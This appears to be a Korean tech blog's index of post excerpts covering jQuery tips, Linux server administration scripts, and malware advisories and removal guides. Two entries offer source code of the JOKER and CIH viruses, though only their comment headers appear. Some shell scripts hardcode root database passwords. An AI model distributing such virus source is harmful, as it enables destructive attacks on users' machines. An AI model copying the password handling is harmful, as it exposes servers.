[JAVASCRIPT]  아이프레임 높이 자동변경 iframe 높이 자동으로 설정하기 이번에는 홈페이지 제작시 유용하게 사용되는 iframe 에서 내용물(?)의 길이에 맞춰 자동으로 높이가 조절되게 하는 방법을 알아봅니다. 우선 두개의 소스문이 있습니다. 높이를 자동으로 조절하기 위한 스크립트문과 아이프레임 삽입코드입니다. 첫번째 소스 아래소스는 자바스크립트문입니다. 이 소스를 Html문서에서 body 문 아래에 삽입합니다. (스크립트문은 위치에 따라 큰 차이는 없지만 윗 부분에 차례로 정리해야 나중에 수정하거나 관리에도 좋습니다.) 두번째 소스 ...
[JQUERY]  [Jquery] 마우스오버 / 마우스리브 제어 $('.btn').mouseenter(function(){ jQuery(this).addClass('over');}).mouseleave(function(){ jQuery(this).removeClass('over');});
[JQUERY]  [Jquery] jQuery 이미지 리로드가 되지 않을 때 보통 구문$("#Area").removeAttr("src").attr("src", "/img.gif");변경 구문$("#Area").attr("src", "/img.gif?time=" + new Date().getTime());설명src 속성이 이전 속성과 같아버리면 이미지를 새로 받아오지 않고 기존의 이미지로 셋팅되므로 허위 매개변수로 수시로 바뀌게 하여야 한다.
[JQUERY]  [JQuery]query.js에서 체크박스 확인 <input type="checkbox" id="test" name="test"/> jquery에서 위의 체크박스가 체크되어있는지 확인하는 방법   방법 1. if ($("#test")[0].checked){     alert("checked"); }   방법 2. if ($("#test").get(0).checked){     alert("checked"); }   방법 3. if ($("#test:checked").lengt...
[JQUERY]  [jquery 기초] 이벤트 처리 다운로드 : http://docs.jquery.com/Downloading_jQuery 이곳에서 최신버젼(1.2.6)을 다운로드 받아 소스에 추가한다. 1. HMTL로드시 수행하는 코드 (1)자바스크립트 window.onload = function(){   alert("시작"); }   (2)jQuery $(document).ready(function(){   alert("시작"); });   2. 객체 클릭시 이벤트 발생(a태그를 클릭했을시 해당 스크립트가 동작한다.) (1)자바스크립트 &...
[JQUERY]  [jquery 기초] javascript -> jquery 비교 자바스크립트에서 해당 ID를 찾을 쓰는 구문을 제이쿼리로 한다면 document.getElementById("test") -> $("#test") 자바스크립트로 스타일을 변경하고 싶을때 document.getElementById("test").style.display = 'none' -> $("#test").css("display","none") 자바스크립트로 select box 안에 선택된 값을 찾을때 document.getElementById("test").options[document.getElementById...
[JQUERY]  웹 개발의 새바람「AJAX를 아시나요?」 새로 부상중인 웹 개발 기법 하나가 PC 소프트웨어의 현 상태를 타개하면서 데스크톱과 웹 애플리케이션의 경계선을 불투명하게 만들고 있다. AJAX는 지난 8년간 표준화된 일련의 개발 기법들로 웹 애플리케이션에 보다 발전된 인터페이스를 도입함으로써 이 모든 것을 바꿀 수 있다. 지난 수년간 데스크톱 애플리케이션이 특정 운영체제에 묶인 것은 컴퓨터 개발에 있어서 확고히 자리잡은 형태가 됐다. AJAX 지지자들은 명실상부한 시장의 리더인 MS 오피스와 같은 데스크톱 소프트웨어의 지배력에 영향을 주길 희망한다. 메시징 벤처...
[JQUERY]  팝업창 띄우지 않고 아이디 중복확인 하기 ** 1 . 따로 중복확인을 누르지 않고 아이디를 입력하고 포커스를 옮기는 순간 중복확인이 체크된다 ** 2 . 중복확인 승인을 받은 후 다시 아이디를 고쳤을 경우도 체크된다 ** 3 . check_id() 에들어있는 유효성체크 함수들은 여기에 표시하지 않았다 유효성 체크를 위해서는          해당 함수들을 따로 선언해야 한다 ** 4 . 모든 유효성 체크는 check_id() 에서 실시하고 submit 시킬경우 공백체크만 &nbs...
[LINUX]  SSH root 접속 제한 - ssh root access restriction 1. 설정파일 열기#vi /etc/ssh/sshd_config2. PermitRootLogin 옵션 주석 해제 및 yes 에서 no로 변경3. 파일을 저장하고 데몬 재시작CentOS 6.x이하#service sshd restart혹은CentOS 7.x이상#systemctl restart sshd
[LINUX]  행정전자서명 인증관리센터 GSSL 발급시 CSR생성 및 주의사항 / DN that is not registered 메세지 [인증서 발급절차 및 주의사항]1. 개인키생성(패스워드 및 파일중요) : openssl genrsa -des3 -out www_domain_go_kr_key.pem 20482. CSR 생성 : openssl req -new -key www_domain_go_kr_key.pem -out www_domain_go_kr_csr.pem    * 불필요 정보(이메일 공백처리) 및 공백처리는 (.)을 이용하여 처리    * 입력 마지막 과정에 A challenge password 와 ...
[LINUX]  Another MySQL daemon already running with the same unix socket. rm -rf /var/lib/mysql/mysql.sock
[LINUX]  RHEL 7.0 iptables 컨트롤 방화벽 상태체크systemctl status firewalld.service 방화벽 중지systemctl stop firewalld.service 방화벽 시작systemctl start firewalld.service
[LINUX]  Job for httpd.service failed. See 'systemctl status httpd.service' and 'journalctl -xn' for details. 아파치 리스타트 후 해당 에러가 발생하면서 시작이 안될경우설정파일의 오타나 이상이니 [root@localhost /]# systemctl status httpd.service 에러 메세지를 확인하여 조치하면 됩니다. 초기 설치시 DocumentRoot "/home/user/public_html" 변경 후 발생  setsebool -P httpd_enable_homedirs on 안된다면 아래처럼 설치 후 다시 명령어 실행yum -y install policycoreutils-pyth...
[LINUX]  서버상태 메일로 전송 /root/ServerStatus.sh 파일로 생성   - 실행권한 부여 #chmod 755 ServerStatus.sh   crontab 등록 #crontab -e 00 05 * * * `/root/ServerStatus.sh | mail -s "Server Status" id@mail.co.kr`   #!/bin/bash echo -e "====================================="echo -e "서버상태" dateecho -e "========================...
[LINUX]  tar: Removing leading `/' from member names 메시지 tar을 이용하여 압축을 하면 간혹 아래와 같은 메시지를 볼 수 있다. 이 메시지는 에러가 아니다. tar을 이용하여 / 아래의 경로를 압축을 한 경우, 절대경로가 아닌 상대경로로 만들기 때문에 / 를 제거한다고 알려주는 메시지인 것이다. GNU tar는 기본적으로 절대경로를 인정 안합니다.(옵션 안주면 묶을때나 풀때나) 기본적으로 첫 / 은 빼고 동작합니다. (-P 옵션 안주면) 여기서 tar 명령어에 (대문자) P 옵션을 주면 절대경로를 인식합니다. [localhost:/] #tar zcfP test.tgz /home/test
[LINUX]  PHP 설치 # tar xvzf php-5.3.8.tar.gz# cd php-5.3.8# mkdir -p /usr/local/php# ./configure --prefix=/usr/local/php --with-mysql=/usr/local/mysql --with-apxs2=/usr/local/apache2/bin/apxs --enable-sysvshm=yes --enable-sysvsem=yes --enable-debug=no --with-ttf --with-png-dir=/usr --with-zlib-dir --with-jpeg-dir...
[LINUX]  sendmail 이메일 포어딩 설정 #vi /etc/mail/virtualtable user01@aaa.com user02@bbb.com #makemap hash /etc/mail/virtualtable.db < /etc/mail/virtualtable #strings /etc/mail/virtusertable.db | grep user
[LINUX]  계정 ID로 베타서버 생성 <VirtualHost *:80>        ServerAdmin super@virhac.com        ServerName www.domain.com        ServerAlias domain.com *.domain.com        Alias /server...
[LINUX]  백업후 사용자 및 DB계정 지우기 #!/bin/bash mkdir /root/homeBackupmkdir /root/homeBackup/$1Datatar zcvf /root/homeBackup/$1Data/$1_FullBackup.tgz /home/httpd/$1mysqldump -uroot -prootpassword $1 > /root/homeBackup/$1Data/$1.sql rm -rf /home/httpd/$1 rm -rf temp.sqlecho "DROP DATABASE $1;" > temp.sqlecho "REVOKE ALL PRIVIL...
[LINUX]  사용자 생성 및 DB계정 생성 쉘스크립트 아래 쉘스크립트 저장후 사용 #./AddUSer.sh UserID     #!/bin/bashuseradd -d /home/httpd/$1 $1mkdir /home/httpd/$1/public_htmlchown $1 /home/httpd/$1/public_htmlchgrp users -R /home/httpd/$1chmod 755 -R /home/httpd/$1echo "password" | passwd $1 --stdinrm -rf temp.sqlecho "CREATE DATABASE $1;" > te...
[LINUX]  유저생성 Shell > UserAdd.sh UserAdd.sh 파일 생성후 아래 내용을 편집후 권한병경 사용사용법 : ./UserAdd.sh 계정명 #!/bin/bashuseradd -d /home/httpd/$1 $1mkdir /home/httpd/$1/public_htmlchown $1 /home/httpd/$1/public_htmlchgrp users -R /home/httpd/$1chmod 755 -R /home/httpd/$1echo "[기본패스워드]" | passwd $1 --stdinrm -rf temp.sqlecho "CREATE DATABASE $1;"...
[LINUX]  Mount 후 리부팅 시에 repair 모드로 빠질경우 해결방법 Repair 모드로 빠질경우 수정된 /etc/fstab 를 이전 상태로 돌려야한다. 하지만, /etc/fstab 는 읽기모드로 열 수 있으므로 리마운트 후 직업을 진행후 리부팅한다. # mount -o rw,remount  /# vi /etc/fstab저장 리부팅후 다시 설정한다.보통의 경우 하드디스크 추가 설정 후 발생되며 하드디스크 라벨을 확인하자. 해당 파티션 라벨 체크 # e2label /dev/sdb1 만약 없다면 지정 # e2label /dev/sdb1 /home
[LINUX]  Linux Time 설정 및 관리 1. 리눅스 시간의 종류 2가지 종류가 존재 하나는 마더보드에 붙어있는 배터리 달린 RTC CMOS의 시간을 H/W 시간이라 하고 다른 하나는 CPU에서 계산하는 시간으로 System 시간이라 함   2. 현재시간을 출력 한다 #date : 리눅스 시스템 시간 보기 #clock : 리눅스 H/W 시간 보기   3. 시간 설정 # date [MMDDhhmm[[CC]YY][.ss] 맞추려는 시간이 2004년 07월 15일 오후 4시 15분 50초라면.. # date 071516152004.50 # c...
[LINUX]  [CentOS] 기본 rpm으로 설치된 자바 삭제하기 yum remove java
[LINUX]  Apache httpd.conf LogLevel 설정 httpd.conf 파일내용 중 해당 라인이 있습니다....LogLevel Warn...none    - 기록 안함emerg  - 불안정한 시스템 상황 기록alert     - 즉각적인 조치 필요 기록crit       - 중대한 에러 기록error     - 비교적 중대하지 않은 에러 기록warn    - 경고 기록noti...
[LINUX]  리눅스 하드웨어 정보확인 OS정보확인cat /etc/issuecat /etc/issue.net리눅스 버전확인(커널)uname -acat /proc/versioncat /proc/sys/kernel/osrelase메모리 정보 확인cat /proc/meminfoCPU 정보 확인cat /proc/cpuinfo하드디스크 정보 확인scsi : cat /proc/scsi/scsiide   : cat /proc/ide/hda/model         cat /proc...
[LINUX]  파일업로드 451 Failure writing to local file 에러 451 Failure writing to local file 에러가 나면서 파일을 업로드하면 0바이트 파일로 생성되며 이 현상은 하드디스크의 파티션을 100% 사용하였을때 문제입니다. df -Th 로 용량 확인결과  /home 디렉토리가 100% 인것이 보이며, 용량을 정리 후 확인해보시면 이상없이 업로드 됩니다. [root@localhost]# df -Th Filesystem Type Size Used Avail Use% Mounted on /dev/sda2 ext3 4.8G 514M 4...
[LINUX]  백업 계획 및 정책 수립의 요소와 Full 백업과 Incremental 백업 먼저 시스템의 전체 용량이 어떻게 되고, 그 중에서 백업할 가치가 있는 것은 어떤 부분인지를 결정한다. 사용할 백업 장비와 종류를 알아보고, 총 백업 시간과 어느 정도 부하가 걸리는지 예상해보고 테스트해 본 후 마지막으로 백업 스케줄을 정한다. Full 백업은 백업할 자료를 처음부터 끝까지 다 기록하는 것이고, Incremental 백업은 이전의 데이터와 비교해서 새로 추가된 내용만 백업하는 방법이다. 따라서 Full 백업시 완전히 데이터를 백업할 수 있지만 시간이 많이 걸리고, 시스템에 부하를 초래할 수 있는 반면에 Incr...
[LINUX]  커널 컴파일시 시스템 자원 확인법 리눅스 시스템의 자원정보는 proc 파일시스템 구조를 통해서 알 수 있다. 이는 실제로 디스크 용량을 차지하는 파일들이 아닌 가상의 디렉토리 구조이며 리눅스 커널에 의해 사용되는 시스템의 정보를 담는 곳으로 사용된다. 다음의 위치에서 하드웨어에 대한 정보 및 시스템 관련 정보들을 확인할 수 있다. ------------------------------------------------------------------------------- /proc/cpuinfo | CPU의 정보 -------------------------...
[LINUX]  ssh에서 sftp 사용 막기 #vi /etc/ssh/sshd_config   --------------------------------------------------------------------                                ~~   ...
[LINUX]  리눅스의 거의 모든 명령어 > LINUX Reference Guide < ■ adduser : 사용자를 새로 등록한다. 설명 이것은 슈퍼 유저만이 사용할 수 있다. 명령을 입력하면 로그온 이름 등을 차례로 물어오며, 그에 따라서 알맞게 입력해 나가면 된다. ■ Enter login name for new account (^C to quit): blade ■ Editing information for new user [blade] ■ Full name: Park Chan Wook ,,사용...
[LINUX]  각 포트에서 행해지는 작업은 무엇인가? 유닉스상의 /etc/services 파일은 각 port에서 일어나는 일들이 기록되어 있다. 다음은 실제로 존재하는 가장 완벽한 port목록이다. Keyword Decimal Description ------- ------- ----------- 0/tcp Reserved 0/udp Reserved tcpmux 1/tcp TCP Port Service Multiplexer tcpmux ...
[LINUX]  리눅스명령어 리눅스는 꼭 반드세 제대로 알고 운영할줄 알아야 합니다. 리눅스에 대해 잘 모르신다면 리눅스 관련 서적을 구입하여 볼것을 강력히 권장합니다. cal cal은 지정된 년도의 달력을 출력하며, 월을 지정한 경우에는 그 달의 달력만을 출력한다. 어느 쪽도 지정하지 않은 경우에는 현재의 달을 출력한다. year는 1부터 1999까지로 하며, month는 1부터 12까지의 수이다. 통상적으로 년은 항상 1월로 시작하며 "cal 88"은, 서기 1988년이 아니고, 서기 88년을 가리킨다는 것에 주의하기 바람. date ...
[LINUX]  인터넷 사용자를 위한 유닉스 기본 유닉스는 가장 훌륭한 운영체제이다. PC에서 동작하는 주요 OS로는 DOS, MS-WINDOWS, OS/2 등을 들 수 있다. DOS의 시대는 이미 지났으며(MS-DOS 6.x 버젼이 DOS의 마지막 버젼), MS-Windows나 NT는 수많은 소프트웨어군들을 가지고 있고, OS/2는 화려한 개체 지향 인터페 이스와 DOS나 MS-Windows와의 특유의 호환성을 지원하고 있다. 유닉스는 이러한 운영체제 들의 모범이 되어온 강력한 멀티태스킹과 멀티유저기능을 보유하고 있으며, GUI 환경으로 는 X-Wi...
[HTML5]  종료 태그를 기술 해서는 안되는 요소 <area><base><br><col><command><embed><hr><img><input><keygen><link><meta><param><source>
[보안정보]  .security 와 comp.security.misc는 어떤곳인가 comp.security.misc는 유닉스와 관련된 컴퓨터 보안을 토론하는 포럼이다. alt.security도 마찬가지로  같은 주제를 다루지만,자동차의  잠금장치나 경보장치 까지도 다루고있다.
[보안정보]  정보보안의 기본 용어 정리 정보보안의 기본 용어 정리   *가짜 메일(Fake mail, Fraud mail)보낸 사람을 숨기거나 다른 사람으로 위장한 채 상대방에게 보낸 전자 메일을 뜻하는 것으로, 메일 발송 시스템을 조작하여 다른 사람의 이름 및 주소 또는 완전히 가공된 이름과 주소에서 발송한 것으로 가장하여 상대에게 메일을 보내는 것이다. 초기에는 장난 삼아 시작된 것이지만, 점차 타인을 정신적으로 괴롭힐 목적으로 심한 욕설과 비난, 공격적 언어, 성희롱을 담은 메일을 보내는 일종의 사이버 테러, 사이버 스토킹의 수단으로 사용되기도 한다....
[보안정보]  정보보호를 고려한 홈페이지 구축의 필요성 ::정보보호를 고려한 홈페이지 구축의 필요성홈페이지 서버를 포함한 정보시스템의 정보보호를 제공하는 방법은 일반적으로 추가(Add-on) 방식과 내장(embedded) 방식의 두 가지 방법이 있다.추가 방식은 정보시스템의 설계 또는 구축 이후에 정보보호 제품이나 정보보호 시스템을 추가 구현하는 방식이다. 홈페이지 서버 보안을 위해서도웹 방화벽과 같은 추가적인 보안장비를 도입하는 것이 추가방식이라 할 수있다. 이 방법은 정보보호 요구사항이 시스템 설계에 충분히 반영되지 않았을 경우 적용할 수 있는 방법이지만 정보보호 제품과 정보 ...
[바이러스정보]  Win-Trojan/Patched.Gen, Infostealer variants * 전용백신 실행 전 주의 및 참고 사항에 대한 안내입니다.   1. V3제품의 서비스가 삭제되어 정상적으로 동작하지 않게 하는 다음과 같은 악성코드를 진단/치료하고 삭제된 V3제품의 서비스를 복구해 주는 기능을 제공합니다. Dropper/Onlinegamehack.87201Win-Trojan/Infostealer.94720 Win-Trojan/Infostealer.75776 Win-Trojan/Infostealer.75264 (외 85종의 Infostealer 변형)   2. 악성코드에 의해 악의적...
[바이러스정보]  네이트온(NateOn) 메신저 악성코드 : dnosfu.rar 국내 네이트온(NateOn) 메신저를 통하여 해킹된 계정을 통한 친구 목록에 등록된 다수의 메신저 사용자에게 악성 링크가 포함된 메시지를 전달하여 dnosfu.rar 압축 파일을 다운로드시키는 악성코드를 유포하고 있으므로 주의가 요구됩니다.해당 악성 링크를 통해 최종적으로 다운로드되는 dnosfu.rar 파일은 Internet Explorer 8에서 제공되는 SmartScreen 필터에서 안전하지 않은 다운로드로 등록된 악성 도메인으로 1차적인 차단이 이루어지고 있습니다.다운로드된 압축 파일 내부에는 dnosfu.exe 파일(...
[바이러스정보]  Antivirus Pro 2010 치료 방법 Antivirus Pro 2010 같은 허위 백신 관련해서 치료 방법을 물어보시는 분들이 많은데 안철수연구소 고객지원이나 V3 Lite 홈페이지에 내용이 나와 있는데 잘 못보시는거 같아서 가져와봤습니다. 출처는 http://v3lite.com/customer/faq/view.do?seq79 입니다.   ----------------------------------------------------------------------------------------- 악명 높은 PC Antispyware 2010의 ...
[바이러스정보]  Trojan.Win32.Delf.15872.O 다음의 악성코드에 감염되면 재부팅시 정상적으로 부팅이 되지 않습니다.   1. 악성코드에 감염되면 다음과 같은 경로에 파일을 생성합니다.(윈도우 폴더)tgmxf.dat (Trojan.Win32.Delf.18432)   2. 다음의 악성코드를 드라이버 관련 레지스트리에 생성합니다.[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionDrivers32]"midi9"="(시스템 폴더)..(랜덤한 네임).dat 0yAAAAAAAA" &nbs...
[바이러스정보]  부팅 오작동 증상을 유발하는 악성코드 주의 최근 국내외에서 발견 보고되고 있는 일부 악성코드 중에 비정상적인 레지스트리의 생성과 오작동으로 인하여 윈도우가 정상적으로 시작되지 않는 피해 보고가 나타나고 있는 상황이며, 변종도 추가적으로 발견되고 있다.잉카인터넷 시큐리티 대응센터에서는 이번에 발견된 악성코드(변종 포함)를 진단하고 치료할 수 있는 전용백신을 제작하여 무료로 제공하고 있다.[무료 전용백신 제공]http://www.nprotect.com/v6/data/index.php?mode=vs_down_view&no=289현재...
[바이러스정보]  JS/Exception.Exploit 바이러스 웹 서핑을 하다보면 자신도 모르는 사이에 웹 브라우저의 초기 화면이 전혀 다른 곳으로 변경되는 경우나 즐겨찾기 메뉴에 자신이 등록도 하지 않는 사이트가 등록이 된 경우 또 다르게는 아웃룩(익스프레스)의 명함설정에 자신이 설정하지 않는 내용과 URL 이 들어가 메일을 받는 분에게 불쾌감을 주는 경우가 있다. 위와 같은 방법은 주로 성인 사이트나 광고효과를 극대화하는 등의 웹 사이트들이 처음 방문자들에게 빠르게 다시 해당 사이트를 다시 접속할 수 있도록 하기 위하여 웹 페이지를 제작하는 것이 보통 이지만 이것은 "Microso...
[바이러스정보]  좀비 pc .. 하드 복구 방안 #1 DDoS 공격에 사용된 감염 숙주 PC에서 하드디스크와 데이터를 파괴해 정상적으로 부팅할 수 없는 사례가 발견되어 PC 사용자들의 주의가 필요한 상황입니다. DDoS 공격에 사용되어진 악성코드는 특정 확장자로된 파일을 임의의 압축 파일 형식으로 바꾸어 암호가 설정되 압축 해제가 불가능한 특징을 가지고 있으며, 하드디스크의 부팅에 관여하는 MBR (Master Boot Record)를 "Memory of the Independence Day" 문자로 덮어쓰기를 해 정상적인 윈도의 부팅을 할 수 없도록 만듭니다. 현재 악성코드는 ...
[바이러스정보]  신종 분산서비스거부공격(DDoS)에 따른 주의 경보발령 (수정) [개 요]  o 2009년 7월 7일 발생한 분산서비스거부공격에 의해 청와대, 네이버 등 국내 주요 사이트에 대한 접속 장애 유발  o 해당 악성코드는 명령제어 서버로부터 공격목표를 전달받는 것이 아니라 감염 시 생성되는 공격목표 설정 파일을 기반으로    자동공격을 수행함   [악성코드 감염 PC 증상]  o 윈도우 서비스 형태로 등록되어 컴퓨터 시작과 함께 자동으로 실행됨  o 방화벽 설정 비활성화  o 다수의 특정 도메인을 대상으로 HTTP / UDP...
[바이러스정보]  DDoS 관련 좀비PC 하드디스크 손상 주의   □ 개 요    o 지난 7일부터 시작된 DDoS 공격의 좀비 PC들이 7월 10일 00시를 기점으로 스스로     하드디스크를 손상시켜 PC가 부팅이 되지않아 동작 불능상태가 될 수 있음  o 사용자들은 PC 하드디스크 손상을 방지하기 위해서는 해결방안을 반드시 수행하기를    권고함 □ 설 명   o 지난 7일부터 대대적으로 DDoS 공격을 실행하였던 좀비 PC들이 악성코드의 흔적을   ...
[바이러스정보]  Win-Trojan/Fakeav.15360.D [증상]Win-Trojan/Fakeav.15360.D 은 트로이목마의 일종으로, 특정 폴더에 특정 파일과 자기 복제본을 생성한다. [내용]* 전파 경로 자체 전파 기능은 없으며 사용자가 메일, 메신저, 게시판, 자료실 등에서 실행 파일을 다운로드 해 실행하거나 다른 악성코드(웜, 바이러스, 트로이목마)에서 설치하는 것으로 보인다.* 실행 후 증상 [파일 생성]특정 폴더에 다음 파일을 생성한다.[C:Documents and Settings[사용자 계정]Application Data] - lizkavd...
[바이러스정보]  JOKER virus source ... title " Joker! virus. Written by The BOOT SECTOR Infector ... " ; ; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original ; had multiple programming errors in it that kept it from replicating. ; My version is much more successful. ; ...
[바이러스정보]  cih 바이러스 소스를 공개해 드립니다..(연구용으로만) CIH소스 ; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 ...
[바이러스정보]  웜바이러스 대처법 파일검색 해서 msblast.exe 파일이 존재하면 삭제하시고 바로아래 게시물에 보안패치를 적용해 주시면 됩니다. 일단 이 파일이 실행중이라면 강제종료를 해주셔야 합니다. Ctrl+Alt+Del 을 누르신 후에 프로세스에 이 파일이 실행중이라면 강제종료(제거)해 주시고 보안 패치를 해주신 후에 재부팅해 주시기 바랍니다. 레지편집기를 실행해서(시작/실행/regedit 입력/엔타) HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 에 있습니다. 참고1) ...
[바이러스정보]  트로이목마란? 트로이목마 프로그램은 바이러스와 달리 자기 복제 능력이 없으며 유틸리티 프로그램 내에 악의의 기능을 가지는 코드를 내장하여 배포하거나 그 자체를 유틸리티 프로그램으로 위장하여 배포한다. 트로이목마가 설치되면 특정한 환경이나 조건 혹은 배포자의 의도에 따라 사용자의 정보 유출(Backdoor)이나 자료파괴 같은 피해를 입을 수 있다. 다음 표는 대표적인 악성 프로그램의 유형을 설명한 것이다. 주요목적 피해 가능성 복제 감염 예방/백신 바이러스 자료손실/삭제 ○ ○ ○ 치료(복원) 웜 피해확산 ○ ○ × 치료(삭제)...
[바이러스정보]  러브게이트 웜 바이러스 ♣ 설명 2003년 2월 17일 외국에서 발견되었던 I-Worm.Win32.Lovgate.84992 변형으로서 2003년 2월 24일 외국에서 발견되었으며, 국내에는 발견되지 않았지만 아시아 지역에서 여러건 발견 보고되었으므로 주의해야 한다. 대부분의 증상은 I-Worm.Win32.Lovgate.84992와 유사하다. I-Worm.Win32.Lovgate.84992에 대한 정보는 다음을 클릭한다. - I-Worm.Win32.Lovgate.84992 정보 보기 [확산 방법] 확산 방법은 e메일...
[바이러스정보]  웰치아(Win32/Welchia.worm) RPC DCOM 취약점을 이용하여 전파된다. - WebDAV 취약점 관련 코드를 가지고 있다. - Win32/Blaster.worm.6176가 실행중이라면 강제로 종료하고 파일을 삭제한다. - RPC DCOM 관련 보안패치가 안된 경우 패치파일을 다운로드하여 실행한다. - TCP 707 포트가 오픈된다. 내용 Win32/Welchia.worm.10240 는 RPC DCOM 취약점을 이용하여 전파되는 웜으로서 안철수연구소는 2003년 8월 18일 오후부터 다량 접수 받았다. 이 웜은 RPC DCOM 취약...
[바이러스정보]  FunLove 바이러스 치료 바이러스 명칭 : FunLove.4099 다른 이름 : PE_FUNLOVE.4099, W32/Flcss 최초 발견일 : 1999-11-09 (내용) 윈도우 Command Prompt Only Mode나 MS-DOS에서 바이러스에 감염된 파일을 실행할 경우 이상한 문자열을 출력하며 시스템을 재부팅 시킨다. 윈도우 9x에선 프로그램 종료 리스트(Ctrl+Alt+Delete를 눌렀을 때)에 프로그램 이름이 나오지 않지만 윈도우 NT에선 상주한 프로그램을 볼 수 있다. 또한 윈도우 98 이상에서는 '시스...
[바이러스정보]  Hotdog 바이러 감염시 조치방법 시작-<실행-<regedit HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer에서 Browser Helper Objects 다음 키안에 있는 모든 폴더를 모두 삭제 하시고요 Win-Trojan/Hotra.49152는 2003년 11월 8일 처음 발견되었으며 정보를 작성하는 2003년 11월 10일 현재 원형을 포함해 3가지 변형이 발견되었다. 발견 이전에 이미 많은 시스템에 설치된 것으로 보이며 이 프로그램의 문제로 다른...
[바이러스정보]  바이러스의 확산 원리 @01.메일을 이용한 확산 윔들이 가장 많이 사용하는 방식으로 크게 메일을 읽기만 해도 감염되는 유형과 첨부파일을 실행했을때 감염되는 유형으로 나눌 수 있다. 메일을 읽기만 해도 감염되는 유형은 대부분 윈도우의 취약점을 이용한 것이다. 메일을 이용한 윔을 보면 메일의 HTML소스에 실행파일을 숨겨놓아 읽는 순간 해당 프로그램이 실행 되도록한다. 윔이 실행되면 메일을 읽기만 해도 확산되는 윔과 사용자가 첨부파일을 실행했을때 확산되는 윔은 이후 동작법은 동일하다. (1)윔이 실행되면 자신을 윈도우 폴더나 윈도우 시스템 폴더에 윔...
[바이러스정보]  바이러스 조치방법 □ 감염 시 증상 - 윈도우 폴더에 avserve.exe(변종일 경우, avserve2.exe 파일) 생성 - TCP 445번 포트 접속 시도가 증가 - TCP 1000번~2000번대와 5554번 포트가 LISTENING 오픈 - 윈도우시스템 폴더(C:winnt\system32 혹은 C:\windows\system32)에 _up.exe로 된 다수의 파일 생성 - 감염 후 일정 시간이 지나면 CPU 사용이 100%까지 올라가며 컴퓨터 속도가 느려짐 - 보안패치가 안 된 시스템이 공격 패킷을 받을 경우 에러가 ...
[바이러스정보]  [바이러스]Win32/Gibi.worm.122880(W32.Gibe@mm) 이 바이러스는 e메일을 통해서 확산되는 웜으로 분류된다. 메시지는 Microsoft의 보안 패치 파일을 위장하고 있어 사용자가 의심없이 첨부 파일을 열어볼 수 있다. -전파되는 메일양식 From: Microsoft Corporation Security Center mailto:rdquest12@microsoft.com] To: Microsoft Customer Subject: Internet Security Update 첨부파일명: q216309.exe (122,880 바이트) 본문: Microsoft C...
[바이러스정보]  바이러스의 종류 컴퓨터 바이러스는 그 영향 정도에 따라 양성 및 악성 바이러스, 감염 부위에 따라 부트(Boot) 및 파일(File) 바이러스로 구분한다. 부트 바이러스는 컴퓨터가 기동할 때 제일 먼저 읽게 되는 디스크의 특정 장소에 감염되어 있다가 컴퓨터 기동시에 활동을 시작하는 종류이다. 파일 바이러스는 숙주 프로그램에 감염되어 있다가 숙주 프로그램이 실행될 때 활동하는 바이러스를 말한다. 또한 최근에는 감염 경로에 따라 인터넷 바이러스를 별도로 구분하기도 한다. 바이러스는 종류에 따라 활동방식도 다른데 감염 즉시 활동하는 것...
[백신자료]  악성코드가 악용하는 윈도우의 정책 악성코드는 종종 윈도우의 정책을 변경함으로써 사용자에게 불편을 야기하기도 한다. 백신이 정책이 변경되었을 때 바로 탐지하여, 진단하고 원상복구 시켜준다면 더할 나위 없이 좋겠지만, 이는 윈도우에서 정상적으로 지원하는 시스템이고, 사용자나 사용업체에 따라 일부러 변경하고 사용하는 곳이 있기 때문에, 일괄적으로 치료하기가 힘들다. 이번 칼럼에서는 어떠한 정책들이 있으며, 어떻게 해야 수정이 가능한지 살펴보기로 한다.1. 레지스트리레지스트리는 윈도우의 각종 설정 등이 저장되는 공간이다. Regedit.exe 프로그램으로 쉽게 편집이...
[백신자료]  악성코드의 악성 행위와 탐지 기법 PC와 인터넷의 급속한 발전은 우리에게 편리함을 줌과 동시에 수많은 악성코드들을 만들어 냈으며, 해마다 그 악성코드의 양은 크게 증가하고 있다. 독일의 한 안티바이러스 연구기관인 AV-Test.org 에서는 다음과 같은 흥미로운 데이터를 발표했다. 매년 증가하는 유니크한 악성코드 샘플의 통계를 작성하여 발표한 것이다. 2009년 5월을 기준으로 약 2200만개의 누적 샘플 개수를 보이고 있으며, 최근 2~3년동안 매년 약 2배 이상의 증가 추세를 보이고 있다. 이처럼 악성코드는 백신업체들이 감당하기 힘들만큼 크게 증가하고 있으...
[백신자료]  웜 바이러스 응급처치 1. 일단 재부팅을 막아야합니다.시작 > 실행 에서(shutdown -a)치고 엔터치면 재부팅을 막을수 있습니다(카운트 다운 창이 사라지면서 재부팅 작업이 종료됨)하 강제종료 된다고 웜이 고쳐졌을까요?아니죠 ^^일시적인 방법입니다.2.일단 웜바이러스 보안패치를 받아야 합니다.(심파일)그런 무료 공개 싸이트에 다서 worm치면 보안패치가 뜨는데 받으세요...kb823980이판 파일입니다.일단 보안 패치를 받으셨다구요...그러면3. 네트워크 선을 뽑고 보안패치 까세요...*만약 보안패치가 실행이 안될정도고,또한 패치가 다운이...
[백신자료]  알약 DDoS 전용백신 이번 1~3차 DDoS 공격에 사용된 감염 숙주 PC에서하드디스크와 데이터를 파괴해 정상적으로 부팅할 수 없는 사례가발견되어 PC 사용자들의 주의가 필요한 상황입니다.DDoS 공격에 사용되어진 악성코드는 특정 확장자로된 파일을임의의 압축 파일 형식으로 바꾸어 암호가 설정되 압축 해제가불가능한 특징을 가지고 있으며, 하드디스크의 부팅에 관여하는 MBR(Master Boot Record)를 "Memory of the Independence Day"문자로 덮어쓰기를 해 정상적인 윈도의 부팅을 할 수 없도록 만듭니다.현재 악성코드는 ...
